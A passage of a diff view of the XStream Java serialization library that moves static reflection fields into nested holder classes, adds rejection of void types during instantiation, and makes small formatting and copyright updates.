47		sortedMapField = JVM.hasOptimizedTreeSetAddAll() ? Fields.locate(TreeSet.class, SortedMap.class, false) : null;
48		if (sortedMapField != null) {
49		TreeSet set = new TreeSet();
50		set.add("1");
51		set.add("2");
52
53		Map backingMap = null;
54		try {
55		backingMap = (Map)sortedMapField.get(set);
56		} catch (final IllegalAccessException e) {
57		// give up;
58		}
59		if (backingMap != null) {
60		Object[] values = backingMap.values().toArray();
61		if (values[0] == values[1]) {
62		value = values[0];
63		}
64		}
65		} else {
66		Field valueField = Fields.locate(TreeSet.class, Object.class, true);
67		if (valueField != null) {
68		try {
69		value = valueField.get(null);
70		} catch (final IllegalAccessException e) {
71		// give up;
72		}
73		}
74		}
75		constantValue = value;
76		}
77	43
78	44	public TreeSetConverter(Mapper mapper) {
79	45	super(mapper, TreeSet.class);

92	58	Comparator unmarshalledComparator = treeMapConverter.unmarshalComparator(reader, context, null);
93	59	boolean inFirstElement = unmarshalledComparator instanceof Mapper.Null;
94	60	Comparator comparator = inFirstElement ? null : unmarshalledComparator;
95		if (sortedMapField != null) {
	61	if (Reflections.sortedMapField != null) {
96	62	TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
97	63	Object backingMap = null;
98	64	try {
99		backingMap = sortedMapField.get(possibleResult);
	65	backingMap = Reflections.sortedMapField.get(possibleResult);
100	66	} catch (IllegalAccessException e) {
101	67	throw new ObjectAccessException("Cannot get backing map of TreeSet", e);
102	68	}

134	100	UnmarshallingContext context, Map map, final Map target) {
135	101	populateCollection(reader, context, new AbstractList() {
136	102	public boolean add(Object object) {
137		return target.put(object, constantValue != null ? constantValue : object) != null;
	103	return target
	104	.put(object, Reflections.constantValue != null
	105	? Reflections.constantValue
	106	: object) != null;
138	107	}
139	108
140	109	public Object get(int location) {

155	124	};
156	125	return this;
157	126	}
	127
	128	private static class Reflections {
	129
	130	private final static Field sortedMapField;
	131	private final static Object constantValue;
	132	static {
	133	Object value = null;
	134	sortedMapField = JVM.hasOptimizedTreeSetAddAll() ? Fields.locate(TreeSet.class, SortedMap.class, false) : null;
	135	if (sortedMapField != null) {
	136	TreeSet set = new TreeSet();
	137	set.add("1");
	138	set.add("2");
	139
	140	Map backingMap = null;
	141	try {
	142	backingMap = (Map)sortedMapField.get(set);
	143	} catch (final IllegalAccessException e) {
	144	// give up;
	145	}
	146	if (backingMap != null) {
	147	Object[] values = backingMap.values().toArray();
	148	if (values[0] == values[1]) {
	149	value = values[0];
	150	}
	151	}
	152	} else {
	153	Field valueField = Fields.locate(TreeSet.class, Object.class, true);
	154	if (valueField != null) {
	155	try {
	156	value = valueField.get(null);
	157	} catch (final IllegalAccessException e) {
	158	// give up;
	159	}
	160	}
	161	}
	162	constantValue = value;
	163	}
	164	}
158	165	}

-5

xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumMapConverter.java less more

0	0	/*
1	1	* Copyright (C) 2005 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2008, 2009, 2013 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2008, 2009, 2013, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

36	36	*/
37	37	public class EnumMapConverter extends MapConverter {
38	38
39		private final static Field typeField = Fields.locate(EnumMap.class, Class.class, false);
40
41	39	public EnumMapConverter(Mapper mapper) {
42	40	super(mapper);
43	41	}
44	42
45	43	public boolean canConvert(Class type) {
46		return typeField != null && type == EnumMap.class;
	44	return type == EnumMap.class && Reflections.typeField != null;
47	45	}
48	46
49	47	public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
50		Class type = (Class) Fields.read(typeField, source);
	48	Class type = (Class) Fields.read(Reflections.typeField, source);
51	49	String attributeName = mapper().aliasForSystemAttribute("enum-type");
52	50	if (attributeName != null) {
53	51	writer.addAttribute(attributeName, mapper().serializedClass(type));

66	64	populateMap(reader, context, map);
67	65	return map;
68	66	}
	67
	68	private static class Reflections {
	69	private final static Field typeField = Fields.locate(EnumMap.class, Class.class, false);
	70	}
69	71	}

-4

xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumSetConverter.java less more

0	0	/*
1	1	* Copyright (C) 2005 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2008, 2009, 2018 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2008, 2009, 2018, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

38	38	*/
39	39	public class EnumSetConverter implements Converter {
40	40
41		private final static Field typeField = Fields.locate(EnumSet.class, Class.class, false);
42	41	private final Mapper mapper;
43	42
44	43	public EnumSetConverter(Mapper mapper) {

46	45	}
47	46
48	47	public boolean canConvert(Class type) {
49		return typeField != null && type != null && EnumSet.class.isAssignableFrom(type);
	48	return type != null && EnumSet.class.isAssignableFrom(type) && Reflections.typeField != null;
50	49	}
51	50
52	51	public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
53	52	EnumSet set = (EnumSet) source;
54		Class enumTypeForSet = (Class) Fields.read(typeField, set);
	53	Class enumTypeForSet = (Class) Fields.read(Reflections.typeField, set);
55	54	String attributeName = mapper.aliasForSystemAttribute("enum-type");
56	55	if (attributeName != null) {
57	56	writer.addAttribute(attributeName, mapper.serializedClass(enumTypeForSet));

92	91	return set;
93	92	}
94	93
	94	private static class Reflections {
	95	private final static Field typeField = Fields.locate(EnumSet.class, Class.class, false);
	96	}
95	97	}

+15

-11

xstream/src/java/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.java less more

0	0	/*
1	1	* Copyright (C) 2004, 2005 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2008, 2010, 2013, 2018 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2008, 2010, 2013, 2018, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

38	38
39	39	private ClassLoaderReference classLoaderReference;
40	40	private Mapper mapper;
41		private static final Field HANDLER = Fields.locate(Proxy.class, InvocationHandler.class, false);
42		private static final InvocationHandler DUMMY = new InvocationHandler() {
43		public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
44		return null;
45		}
46		};
47	41
48	42	/**
49	43	* @deprecated As of 1.4.5 use {@link #DynamicProxyConverter(Mapper, ClassLoaderReference)}

120	114	Class[] interfacesAsArray = new Class[interfaces.size()];
121	115	interfaces.toArray(interfacesAsArray);
122	116	Object proxy = null;
123		if (HANDLER != null) { // we will not be able to resolve references to the proxy
124		proxy = Proxy.newProxyInstance(classLoaderReference.getReference(), interfacesAsArray, DUMMY);
	117	if (Reflections.HANDLER != null) { // we will not be able to resolve references to the proxy
	118	proxy = Proxy.newProxyInstance(classLoaderReference.getReference(), interfacesAsArray, Reflections.DUMMY);
125	119	}
126	120	handler = (InvocationHandler) context.convertAnother(proxy, handlerType);
127	121	reader.moveUp();
128		if (HANDLER != null) {
129		Fields.write(HANDLER, proxy, handler);
	122	if (Reflections.HANDLER != null) {
	123	Fields.write(Reflections.HANDLER, proxy, handler);
130	124	} else {
131	125	proxy = Proxy.newProxyInstance(classLoaderReference.getReference(), interfacesAsArray, handler);
132	126	}
133	127	return proxy;
134	128	}
	129
	130	private static class Reflections {
	131
	132	private static final Field HANDLER = Fields.locate(Proxy.class, InvocationHandler.class, false);
	133	private static final InvocationHandler DUMMY = new InvocationHandler() {
	134	public Object invoke(final Object proxy, final Method method, final Object[] args) throws Throwable {
	135	return null;
	136	}
	137	};
	138	}
135	139	}

+21

-19

xstream/src/java/com/thoughtworks/xstream/converters/javabean/BeanProvider.java less more

0	0	/*
1	1	* Copyright (C) 2005 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2016 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2016, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

41	41	}
42	42
43	43	/**
44		* Construct a BeanProvider with a comparator to sort the bean properties by name in the
45		* dictionary.
	44	* Construct a BeanProvider with a comparator to sort the bean properties by name in the dictionary.
46	45	*
47	46	* @param propertyNameComparator the comparator
48	47	*/

62	61
63	62	public Object newInstance(Class type) {
64	63	ErrorWritingException ex = null;
65		try {
66		return type.newInstance();
67		} catch (InstantiationException e) {
68		ex = new ConversionException("Cannot construct type", e);
69		} catch (IllegalAccessException e) {
70		ex = new ObjectAccessException("Cannot construct type", e);
71		} catch (SecurityException e) {
72		ex = new ObjectAccessException("Cannot construct type", e);
73		} catch (ExceptionInInitializerError e) {
74		ex = new ConversionException("Cannot construct type", e);
	64	if (type == void.class \|\| type == Void.class) {
	65	ex = new ConversionException("Security alert: Marshalling rejected");
	66	} else {
	67	try {
	68	return type.newInstance();
	69	} catch (InstantiationException e) {
	70	ex = new ConversionException("Cannot construct type", e);
	71	} catch (IllegalAccessException e) {
	72	ex = new ObjectAccessException("Cannot construct type", e);
	73	} catch (SecurityException e) {
	74	ex = new ObjectAccessException("Cannot construct type", e);
	75	} catch (ExceptionInInitializerError e) {
	76	ex = new ConversionException("Cannot construct type", e);
	77	}
75	78	}
76	79	ex.add("construction-type", type.getName());
77	80	throw ex;

79	82
80	83	public void visitSerializableProperties(Object object, JavaBeanProvider.Visitor visitor) {
81	84	PropertyDescriptor[] propertyDescriptors = getSerializableProperties(object);
82		for (int i = 0; i < propertyDescriptors.length; i++ ) {
	85	for (int i = 0; i < propertyDescriptors.length; i++) {
83	86	ErrorWritingException ex = null;
84	87	PropertyDescriptor property = propertyDescriptors[i];
85	88	try {

135	138	*/
136	139	public boolean canInstantiate(Class type) {
137	140	try {
138		return type != null && newInstance(type) != null;
	141	return type != null && newInstance(type) != null;
139	142	} catch (final ErrorWritingException e) {
140	143	return false;
141	144	}

148	151	* @deprecated As of 1.4.6 use {@link #newInstance(Class)} or {@link #canInstantiate(Class)} directly.
149	152	*/
150	153	protected Constructor getDefaultConstrutor(Class type) {
151
	154
152	155	Constructor[] constructors = type.getConstructors();
153		for (int i = 0; i < constructors.length; i++ ) {
	156	for (int i = 0; i < constructors.length; i++) {
154	157	Constructor c = constructors[i];
155	158	if (c.getParameterTypes().length == 0 && Modifier.isPublic(c.getModifiers()))
156	159	return c;

185	188	/**
186	189	* @deprecated As of 1.4 use {@link JavaBeanProvider.Visitor}
187	190	*/
188		public interface Visitor extends JavaBeanProvider.Visitor {
189		}
	191	public interface Visitor extends JavaBeanProvider.Visitor {}
190	192	}

+72

-64

xstream/src/java/com/thoughtworks/xstream/converters/reflection/AbstractAttributedCharacterIteratorAttributeConverter.java less more

0	0	/*
1		* Copyright (C) 2007, 2013, 2016 XStream Committers.
	1	* Copyright (C) 2007, 2013, 2016, 2020 XStream Committers.
2	2	* All rights reserved.
3	3	*
4	4	* The software in this package is published under the terms of the BSD

18	18	import java.lang.reflect.Method;
19	19	import java.lang.reflect.Modifier;
20	20	import java.text.AttributedCharacterIterator;
	21	import java.util.Collections;
21	22	import java.util.HashMap;
22	23	import java.util.Iterator;
23	24	import java.util.Map;

33	34	public class AbstractAttributedCharacterIteratorAttributeConverter extends
34	35	AbstractSingleValueConverter {
35	36
36		private static final Map instanceMaps = new HashMap();
37		private static final Method getName;
38		static {
39		Method method = null;
40		try {
41		method = AttributedCharacterIterator.Attribute.class.getDeclaredMethod(
42		"getName", (Class[])null);
43		if (!method.isAccessible()) {
44		method.setAccessible(true);
45		}
46		} catch (SecurityException e) {
47		// ignore for now
48		} catch (NoSuchMethodException e) {
49		// ignore for now
50		}
51		getName = method;
52		}
	37	private static final Map instanceMaps = Collections.synchronizedMap(new HashMap());
53	38
54	39	private final Class type;
55		private transient Map attributeMap;
56	40
57	41	public AbstractAttributedCharacterIteratorAttributeConverter(final Class type) {
58	42	super();

61	45	+ " is not a " + AttributedCharacterIterator.Attribute.class.getName());
62	46	}
63	47	this.type = type;
64		readResolve();
65	48	}
66	49
67	50	public boolean canConvert(final Class type) {
68		return type == this.type && !attributeMap.isEmpty();
	51	return type == this.type && !getAttributeMap().isEmpty();
69	52	}
70	53
71	54	public String toString(final Object source) {

74	57
75	58	private String getName(AttributedCharacterIterator.Attribute attribute) {
76	59	Exception ex = null;
77		if (getName != null) {
	60	if (Reflections.getName != null) {
78	61	try {
79		return (String)getName.invoke(attribute, (Object[])null);
	62	return (String)Reflections.getName.invoke(attribute, (Object[])null);
80	63	} catch (IllegalAccessException e) {
81	64	ex = e;
82	65	} catch (InvocationTargetException e) {

94	77	}
95	78
96	79	public Object fromString(final String str) {
97		if (attributeMap.containsKey(str)) {
98		return attributeMap.get(str);
	80	Object attr = getAttributeMap().get(str);
	81	if (attr != null) {
	82	return attr;
99	83	}
100	84	ConversionException exception = new ConversionException("Cannot find attribute");
101	85	exception.add("attribute-type", type.getName());

103	87	throw exception;
104	88	}
105	89
106		private Object readResolve() {
107		attributeMap = (Map)instanceMaps.get(type.getName());
	90	private Map getAttributeMap() {
	91	Map attributeMap = (Map)instanceMaps.get(type.getName());
108	92	if (attributeMap == null) {
109		attributeMap = new HashMap();
110		Field instanceMap = Fields.locate(type, Map.class, true);
111		if (instanceMap != null) {
112		try {
113		Map map = (Map)Fields.read(instanceMap, null);
114		if (map != null) {
115		boolean valid = true;
116		for (Iterator iter = map.entrySet().iterator(); valid && iter.hasNext(); ) {
117		Map.Entry entry = (Map.Entry)iter.next();
118		valid = entry.getKey().getClass() == String.class && entry.getValue().getClass() == type;
119		}
120		if (valid) {
121		attributeMap.putAll(map);
122		}
123		}
124		} catch (ObjectAccessException e) {
125		}
126		}
127		if (attributeMap.isEmpty()) {
128		try {
129		Field[] fields = type.getDeclaredFields();
130		for(int i = 0; i < fields.length; ++i) {
131		if(fields[i].getType() == type == Modifier.isStatic(fields[i].getModifiers())) {
132		AttributedCharacterIterator.Attribute attribute =
133		(AttributedCharacterIterator.Attribute)Fields.read(fields[i], null);
134		attributeMap.put(toString(attribute), attribute);
135		}
136		}
137		} catch (SecurityException e) {
138		attributeMap.clear();
139		} catch (ObjectAccessException e) {
140		attributeMap.clear();
141		} catch (NoClassDefFoundError e) {
142		attributeMap.clear();
143		}
144		}
	93	attributeMap = buildAttributeMap();
145	94	instanceMaps.put(type.getName(), attributeMap);
146	95	}
147		return this;
	96	return attributeMap;
148	97	}
149	98
	99	private Map buildAttributeMap() {
	100	final Map attributeMap = new HashMap();
	101	final Field instanceMap = Fields.locate(type, Map.class, true);
	102	if (instanceMap != null) {
	103	try {
	104	Map map = (Map)Fields.read(instanceMap, null);
	105	if (map != null) {
	106	boolean valid = true;
	107	for (Iterator iter = map.entrySet().iterator(); valid && iter.hasNext(); ) {
	108	Map.Entry entry = (Map.Entry)iter.next();
	109	valid = entry.getKey().getClass() == String.class && entry.getValue().getClass() == type;
	110	}
	111	if (valid) {
	112	attributeMap.putAll(map);
	113	}
	114	}
	115	} catch (ObjectAccessException e) {
	116	}
	117	}
	118	if (attributeMap.isEmpty()) {
	119	try {
	120	Field[] fields = type.getDeclaredFields();
	121	for(int i = 0; i < fields.length; ++i) {
	122	if(fields[i].getType() == type == Modifier.isStatic(fields[i].getModifiers())) {
	123	AttributedCharacterIterator.Attribute attribute =
	124	(AttributedCharacterIterator.Attribute)Fields.read(fields[i], null);
	125	attributeMap.put(toString(attribute), attribute);
	126	}
	127	}
	128	} catch (SecurityException e) {
	129	attributeMap.clear();
	130	} catch (ObjectAccessException e) {
	131	attributeMap.clear();
	132	} catch (NoClassDefFoundError e) {
	133	attributeMap.clear();
	134	}
	135	}
	136	return attributeMap;
	137	}
	138
	139	private static class Reflections {
	140
	141	private static final Method getName;
	142	static {
	143	Method method = null;
	144	try {
	145	method = AttributedCharacterIterator.Attribute.class.getDeclaredMethod(
	146	"getName", (Class[])null);
	147	if (!method.isAccessible()) {
	148	method.setAccessible(true);
	149	}
	150	} catch (SecurityException e) {
	151	// ignore for now
	152	} catch (NoSuchMethodException e) {
	153	// ignore for now
	154	}
	155	getName = method;
	156	}
	157	}
150	158	}

+57

-47

xstream/src/java/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProvider.java less more

0	0	/*
1	1	* Copyright (C) 2004, 2005, 2006 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2009, 2011, 2013, 2016, 2018 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2009, 2011, 2013, 2016, 2018, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

10	10	*/
11	11	package com.thoughtworks.xstream.converters.reflection;
12	12
	13	import com.thoughtworks.xstream.converters.ConversionException;
	14	import com.thoughtworks.xstream.converters.ErrorWritingException;
13	15	import com.thoughtworks.xstream.core.JVM;
14	16	import com.thoughtworks.xstream.core.util.Fields;
15	17

29	31	import java.util.Map;
30	32	import java.util.WeakHashMap;
31	33
	34
32	35	/**
33		* Pure Java ObjectFactory that instantiates objects using standard Java reflection, however the types of objects
34		* that can be constructed are limited.
	36	* Pure Java ObjectFactory that instantiates objects using standard Java reflection, however the types of objects that
	37	* can be constructed are limited.
35	38	* <p>
36		* Can newInstance: classes with public visibility, outer classes, static inner classes, classes with default constructors
37		* and any class that implements java.io.Serializable.
	39	* Can newInstance: classes with public visibility, outer classes, static inner classes, classes with default
	40	* constructors and any class that implements java.io.Serializable.
38	41	* </p>
39	42	* <p>
40		* Cannot newInstance: classes without public visibility, non-static inner classes, classes without default constructors.
41		* Note that any code in the constructor of a class will be executed when the ObjectFactory instantiates the object.
	43	* Cannot newInstance: classes without public visibility, non-static inner classes, classes without default
	44	* constructors. Note that any code in the constructor of a class will be executed when the ObjectFactory instantiates
	45	* the object.
42	46	* </p>
	47	*
43	48	* @author Joe Walnes
44	49	*/
45	50	public class PureJavaReflectionProvider implements ReflectionProvider {

57	62	}
58	63
59	64	public Object newInstance(Class type) {
60		ObjectAccessException oaex = null;
61		try {
62		Constructor[] constructors = type.getDeclaredConstructors();
63		for (int i = 0; i < constructors.length; i++) {
64		final Constructor constructor = constructors[i];
65		if (constructor.getParameterTypes().length == 0) {
66		if (!constructor.isAccessible()) {
67		constructor.setAccessible(true);
	65	ErrorWritingException ex = null;
	66	if (type == void.class \|\| type == Void.class) {
	67	ex = new ConversionException("Security alert: Marshalling rejected");
	68	} else {
	69	try {
	70	Constructor[] constructors = type.getDeclaredConstructors();
	71	for (int i = 0; i < constructors.length; i++) {
	72	final Constructor constructor = constructors[i];
	73	if (constructor.getParameterTypes().length == 0) {
	74	if (!constructor.isAccessible()) {
	75	constructor.setAccessible(true);
	76	}
	77	return constructor.newInstance(new Object[0]);
68	78	}
69		return constructor.newInstance(new Object[0]);
70		}
71		}
72		if (Serializable.class.isAssignableFrom(type)) {
73		return instantiateUsingSerialization(type);
74		} else {
75		oaex = new ObjectAccessException("Cannot construct type as it does not have a no-args constructor");
76		}
77		} catch (InstantiationException e) {
78		oaex = new ObjectAccessException("Cannot construct type", e);
79		} catch (IllegalAccessException e) {
80		oaex = new ObjectAccessException("Cannot construct type", e);
81		} catch (InvocationTargetException e) {
82		if (e.getTargetException() instanceof RuntimeException) {
83		throw (RuntimeException)e.getTargetException();
84		} else if (e.getTargetException() instanceof Error) {
85		throw (Error)e.getTargetException();
86		} else {
87		oaex = new ObjectAccessException("Constructor for type threw an exception", e.getTargetException());
88		}
89		}
90		oaex.add("construction-type", type.getName());
91		throw oaex;
	79	}
	80	if (Serializable.class.isAssignableFrom(type)) {
	81	return instantiateUsingSerialization(type);
	82	} else {
	83	ex = new ObjectAccessException("Cannot construct type as it does not have a no-args constructor");
	84	}
	85	} catch (InstantiationException e) {
	86	ex = new ObjectAccessException("Cannot construct type", e);
	87	} catch (IllegalAccessException e) {
	88	ex = new ObjectAccessException("Cannot construct type", e);
	89	} catch (InvocationTargetException e) {
	90	if (e.getTargetException() instanceof RuntimeException) {
	91	throw (RuntimeException)e.getTargetException();
	92	} else if (e.getTargetException() instanceof Error) {
	93	throw (Error)e.getTargetException();
	94	} else {
	95	ex = new ObjectAccessException("Constructor for type threw an exception", e.getTargetException());
	96	}
	97	}
	98	}
	99	ex.add("construction-type", type.getName());
	100	throw ex;
92	101	}
93	102
94	103	private Object instantiateUsingSerialization(final Class type) {
95	104	ObjectAccessException oaex = null;
96	105	try {
97	106	synchronized (serializedDataCache) {
98		byte[] data = (byte[]) serializedDataCache.get(type);
99		if (data == null) {
	107	byte[] data = (byte[])serializedDataCache.get(type);
	108	if (data == null) {
100	109	ByteArrayOutputStream bytes = new ByteArrayOutputStream();
101	110	DataOutputStream stream = new DataOutputStream(bytes);
102	111	stream.writeShort(ObjectStreamConstants.STREAM_MAGIC);

105	114	stream.writeByte(ObjectStreamConstants.TC_CLASSDESC);
106	115	stream.writeUTF(type.getName());
107	116	stream.writeLong(ObjectStreamClass.lookup(type).getSerialVersionUID());
108		stream.writeByte(2); // classDescFlags (2 = Serializable)
	117	stream.writeByte(2); // classDescFlags (2 = Serializable)
109	118	stream.writeShort(0); // field count
110	119	stream.writeByte(ObjectStreamConstants.TC_ENDBLOCKDATA);
111	120	stream.writeByte(ObjectStreamConstants.TC_NULL);
112	121	data = bytes.toByteArray();
113	122	serializedDataCache.put(type, data);
114	123	}
115
	124
116	125	ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data)) {
117		protected Class resolveClass(ObjectStreamClass desc)
118		throws IOException, ClassNotFoundException {
	126	protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
119	127	return Class.forName(desc.getName(), false, type.getClassLoader());
120	128	}
121	129	};

132	140
133	141	public void visitSerializableFields(Object object, ReflectionProvider.Visitor visitor) {
134	142	for (Iterator iterator = fieldDictionary.fieldsFor(object.getClass()); iterator.hasNext();) {
135		Field field = (Field) iterator.next();
	143	Field field = (Field)iterator.next();
136	144	if (!fieldModifiersSupported(field)) {
137	145	continue;
138	146	}

173	181	}
174	182	} else {
175	183	throw new ObjectAccessException("Invalid final field "
176		+ field.getDeclaringClass().getName() + "." + field.getName());
	184	+ field.getDeclaringClass().getName()
	185	+ "."
	186	+ field.getName());
177	187	}
178	188	}
179	189	}

183	193	}
184	194
185	195	public Field getFieldOrNull(Class definedIn, String fieldName) {
186		return fieldDictionary.fieldOrNull(definedIn, fieldName, null);
	196	return fieldDictionary.fieldOrNull(definedIn, fieldName, null);
187	197	}
188	198
189	199	public void setFieldDictionary(FieldDictionary dictionary) {

-2

xstream/src/java/com/thoughtworks/xstream/converters/reflection/SunLimitedUnsafeReflectionProvider.java less more

0	0	/*
1	1	* Copyright (C) 2004, 2005 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2008, 2011, 2013, 2014, 2016, 2017 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2008, 2011, 2013, 2014, 2016, 2017, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* Created on 08. January 2014 by Joerg Schaible, factored out from SunUnsafeReflectionProvider

78	78	}
79	79	ErrorWritingException ex = null;
80	80	if (type == void.class \|\| type == Void.class) {
81		ex = new ConversionException("Type void cannot have an instance");
	81	ex = new ConversionException("Security alert: Marshalling rejected");
82	82	} else {
83	83	try {
84	84	return unsafe.allocateInstance(type);

-3

xstream/src/java/com/thoughtworks/xstream/core/AbstractReferenceMarshaller.java less more

0	0	/*
1		* Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011 XStream Committers.
	1	* Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2019 XStream Committers.
2	2	* All rights reserved.
3	3	*
4	4	* The software in this package is published under the terms of the BSD

12	12	import com.thoughtworks.xstream.converters.ConversionException;
13	13	import com.thoughtworks.xstream.converters.Converter;
14	14	import com.thoughtworks.xstream.converters.ConverterLookup;
15		import com.thoughtworks.xstream.converters.MarshallingContext;
16	15	import com.thoughtworks.xstream.core.util.ObjectIdDictionary;
17	16	import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
18	17	import com.thoughtworks.xstream.io.path.Path;

30	29	* @author Mauro Talevi
31	30	* @since 1.2
32	31	*/
33		public abstract class AbstractReferenceMarshaller extends TreeMarshaller implements MarshallingContext {
	32	public abstract class AbstractReferenceMarshaller extends TreeMarshaller {
34	33
35	34	private ObjectIdDictionary references = new ObjectIdDictionary();
36	35	private ObjectIdDictionary implicitElements = new ObjectIdDictionary();

-2

xstream/src/java/com/thoughtworks/xstream/core/DefaultConverterLookup.java less more

0	0	/*
1	1	* Copyright (C) 2004, 2005, 2006 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2016, 2017 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2016, 2017, 2019 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

87	87	final ConversionException exception = new ConversionException(errors.isEmpty()
88	88	? "No converter specified"
89	89	: "No converter available");
90		exception.add("type", type.getName());
	90	exception.add("type", type != null ? type.getName() : "null");
91	91	iterator = errors.entrySet().iterator();
92	92	while (iterator.hasNext()) {
93	93	final Map.Entry entry = (Map.Entry)iterator.next();

-2

xstream/src/java/com/thoughtworks/xstream/core/util/XmlHeaderAwareReader.java less more

0	0	/*
1		* Copyright (C) 2007, 2008, 2010 XStream Committers.
	1	* Copyright (C) 2007, 2008, 2010, 2020 XStream Committers.
2	2	* All rights reserved.
3	3	*
4	4	* The software in this package is published under the terms of the BSD

64	64
65	65	private Map getHeader(final PushbackInputStream[] in) throws IOException {
66	66	final Map header = new HashMap();
67		header.put(KEY_ENCODING, "utf-8");
	67	header.put(KEY_ENCODING, "UTF-8");
68	68	header.put(KEY_VERSION, "1.0");
69	69
70	70	int state = STATE_BOM;

-3

xstream/src/java/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriver.java less more

0	0	/*
1		* Copyright (c) 2007, 2008, 2009, 2010, 2011, 2013 XStream Committers.
	1	* Copyright (c) 2007, 2008, 2009, 2010, 2011, 2013, 2018 XStream Committers.
2	2	* All rights reserved.
3	3	*
4	4	* The software in this package is published under the terms of the BSD

51	51	* Construct a JettisonMappedXmlDriver.
52	52	*/
53	53	public JettisonMappedXmlDriver() {
54		this(new Configuration());
	54	this(null);
55	55	}
56	56
57	57	/**

72	72	* @param useSerializeAsArray flag to use XStream's hints for collections and arrays
73	73	* @since 1.4
74	74	*/
75		public JettisonMappedXmlDriver(final Configuration config, final boolean useSerializeAsArray) {
	75	public JettisonMappedXmlDriver(Configuration config, final boolean useSerializeAsArray) {
	76	config = config == null ? new Configuration() : config;
76	77	mof = new MappedXMLOutputFactory(config);
77	78	mif = new MappedXMLInputFactory(config);
78	79	convention = new MappedNamespaceConvention(config);

+67

-40

xstream/src/java/com/thoughtworks/xstream/io/json/JettisonStaxWriter.java less more

0	0	/*
1		* Copyright (c) 2008, 2009, 2010, 2011 XStream Committers.
	1	* Copyright (c) 2008, 2009, 2010, 2011, 2018 XStream Committers.
2	2	* All rights reserved.
3	3	*
4	4	* The software in this package is published under the terms of the BSD
5	5	* style license a copy of which has been included with this distribution in
6	6	* the LICENSE.txt file.
7		*
	7	*
8	8	* Created on 17.04.2008 by Joerg Schaible.
9	9	*/
10	10	package com.thoughtworks.xstream.io.json;
11	11
	12	import java.util.ArrayList;
	13	import java.util.Collection;
	14	import java.util.List;
	15	import java.util.Map;
	16
	17	import javax.xml.namespace.QName;
	18	import javax.xml.stream.XMLStreamException;
	19	import javax.xml.stream.XMLStreamWriter;
	20
	21	import org.codehaus.jettison.AbstractXMLStreamWriter;
	22	import org.codehaus.jettison.mapped.MappedNamespaceConvention;
	23
	24	import com.thoughtworks.xstream.core.JVM;
12	25	import com.thoughtworks.xstream.io.naming.NameCoder;
13	26	import com.thoughtworks.xstream.io.xml.QNameMap;
14	27	import com.thoughtworks.xstream.io.xml.StaxWriter;
15	28	import com.thoughtworks.xstream.io.xml.XmlFriendlyReplacer;
16	29
17		import org.codehaus.jettison.AbstractXMLStreamWriter;
18		import org.codehaus.jettison.mapped.MappedNamespaceConvention;
19
20		import javax.xml.namespace.QName;
21		import javax.xml.stream.XMLStreamException;
22		import javax.xml.stream.XMLStreamWriter;
23
24		import java.util.Collection;
25		import java.util.Map;
26
27	30
28	31	/**
29	32	* A specialized {@link StaxWriter} that makes usage of internal functionality of Jettison.
30		*
	33	*
31	34	* @author Jörg Schaible
32	35	* @since 1.3.1
33	36	*/
34	37	public class JettisonStaxWriter extends StaxWriter {
35	38
36	39	private final MappedNamespaceConvention convention;
	40	private final List stack = new ArrayList();
37	41
38	42	/**
39	43	* @since 1.4
40	44	*/
41	45	public JettisonStaxWriter(
42		QNameMap qnameMap, XMLStreamWriter out, boolean writeEnclosingDocument,
43		boolean namespaceRepairingMode, NameCoder nameCoder,
44		MappedNamespaceConvention convention) throws XMLStreamException {
	46	final QNameMap qnameMap, final XMLStreamWriter out, final boolean writeEnclosingDocument,
	47	final boolean namespaceRepairingMode, final NameCoder nameCoder, final MappedNamespaceConvention convention)
	48	throws XMLStreamException {
45	49	super(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode, nameCoder);
46	50	this.convention = convention;
47	51	}

52	56	* instead
53	57	*/
54	58	public JettisonStaxWriter(
55		QNameMap qnameMap, XMLStreamWriter out, boolean writeEnclosingDocument,
56		boolean namespaceRepairingMode, XmlFriendlyReplacer replacer,
57		MappedNamespaceConvention convention) throws XMLStreamException {
58		this(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode, (NameCoder) replacer, convention);
	59	final QNameMap qnameMap, final XMLStreamWriter out, final boolean writeEnclosingDocument,
	60	final boolean namespaceRepairingMode, final XmlFriendlyReplacer replacer,
	61	final MappedNamespaceConvention convention)
	62	throws XMLStreamException {
